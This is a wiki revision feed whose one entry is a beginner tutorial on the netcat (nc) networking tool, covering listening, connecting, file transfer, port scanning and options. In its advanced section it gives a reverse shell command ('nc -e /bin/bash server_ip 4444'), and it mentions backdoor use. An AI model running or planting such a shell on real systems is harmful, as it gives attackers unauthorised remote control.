<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://lms.onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=TCP_port_communication_via_nc_%28en%29</id>
	<title>TCP port communication via nc (en) - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://lms.onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=TCP_port_communication_via_nc_%28en%29"/>
	<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=TCP_port_communication_via_nc_(en)&amp;action=history"/>
	<updated>2026-04-29T12:05:52Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=TCP_port_communication_via_nc_(en)&amp;diff=71009&amp;oldid=prev</id>
		<title>Unknown user: Created page with &quot;Netcat (nc) is a highly versatile networking utility in Linux. Often referred to as the &quot;Swiss Army Knife&quot; of networking, netcat (nc) can be used for various tasks, from creat...&quot;</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=TCP_port_communication_via_nc_(en)&amp;diff=71009&amp;oldid=prev"/>
		<updated>2024-10-20T21:08:54Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Netcat (nc) is a highly versatile networking utility in Linux. Often referred to as the &amp;quot;Swiss Army Knife&amp;quot; of networking, netcat (nc) can be used for various tasks, from creat...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;Netcat (nc) is a highly versatile networking utility in Linux. Often referred to as the &amp;quot;Swiss Army Knife&amp;quot; of networking, netcat (nc) can be used for various tasks, from creating simple connections to performing port scanning.&lt;br /&gt;
&lt;br /&gt;
==Main Capabilities of Netcat:==&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Creating Connections:&amp;#039;&amp;#039;&amp;#039; Set up TCP or UDP connections between two computers.&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Data Transfer:&amp;#039;&amp;#039;&amp;#039; Transfer any data between two connection points.&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Port Scanning:&amp;#039;&amp;#039;&amp;#039; Check which ports are open on a host.&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Creating a Backdoor:&amp;#039;&amp;#039;&amp;#039; Though not recommended, netcat can be used to create backdoor access to a system.&lt;br /&gt;
&lt;br /&gt;
==Establishing Communication with Netcat on Ubuntu==&lt;br /&gt;
&lt;br /&gt;
===Installing Netcat:===&lt;br /&gt;
&lt;br /&gt;
If not already installed, you can install netcat using the following command:&lt;br /&gt;
&lt;br /&gt;
 sudo apt install netcat&lt;br /&gt;
&lt;br /&gt;
===Creating a Simple Connection:===&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Server:&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
** Open a new terminal and run:&lt;br /&gt;
&lt;br /&gt;
 nc -l 1234&lt;br /&gt;
&lt;br /&gt;
 This command will make netcat listen on port 1234.&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Client:&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
** Open another terminal and connect to the server:&lt;br /&gt;
&lt;br /&gt;
 nc server_ip 1234&lt;br /&gt;
&lt;br /&gt;
 Replace `server_ip` with your server&amp;#039;s IP address.&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Data Transfer:&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
Once connected, you can type a message in one terminal, and it will appear in the other.&lt;br /&gt;
&lt;br /&gt;
===Other Usage Examples:===&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;File Transfer:&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
 # Server (receiving the file):&lt;br /&gt;
 nc -l 1234 &amp;gt; file.txt&lt;br /&gt;
&lt;br /&gt;
 # Client (sending the file):&lt;br /&gt;
 cat file.txt | nc server_ip 1234&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Port Scanning:&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
 nc -zv target_ip 1-1024&lt;br /&gt;
&lt;br /&gt;
 This command will attempt to connect to ports 1 through 1024 on the `target_ip`.&lt;br /&gt;
&lt;br /&gt;
==Useful Netcat Options:==&lt;br /&gt;
&lt;br /&gt;
* -l : Listen mode.&lt;br /&gt;
* -p : Specify port.&lt;br /&gt;
* -v : Verbose mode (provides more detailed information).&lt;br /&gt;
* -z : Zero mode (performs connections without sending data).&lt;br /&gt;
&lt;br /&gt;
==Advanced Usage Examples:==&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Creating a Reverse Shell:&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
 # Server (listening):&lt;br /&gt;
 nc -lvp 4444&lt;br /&gt;
&lt;br /&gt;
 # Client (making the connection):&lt;br /&gt;
 nc -e /bin/bash server_ip 4444&lt;br /&gt;
&lt;br /&gt;
 This allows you to execute commands on the server from the client.&lt;br /&gt;
&lt;br /&gt;
==Security Considerations==&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Port:&amp;#039;&amp;#039;&amp;#039; Avoid using ports commonly used by other services.&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Firewall:&amp;#039;&amp;#039;&amp;#039; Ensure your firewall allows connections on the port you&amp;#039;re using.&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Encryption:&amp;#039;&amp;#039;&amp;#039; For better security, use SSH tunneling or application-level encryption.&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Authentication:&amp;#039;&amp;#039;&amp;#039; Implement strong authentication mechanisms to prevent unauthorized access.&lt;br /&gt;
&lt;br /&gt;
==Conclusion==&lt;br /&gt;
&lt;br /&gt;
Netcat (nc) is an extremely flexible tool for establishing network communication. With a good understanding of its options and uses, you can leverage netcat for a wide range of tasks, from simple to more complex operations.&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Important:&amp;#039;&amp;#039;&amp;#039; While netcat is very useful, it is important to use it wisely and responsibly. Do not misuse netcat for illegal or unethical purposes.&lt;br /&gt;
&lt;br /&gt;
==Interesting Links==&lt;br /&gt;
&lt;br /&gt;
* [[Forensic: IT]]&lt;/div&gt;</summary>
		<author><name>Unknown user</name></author>
	</entry>
</feed>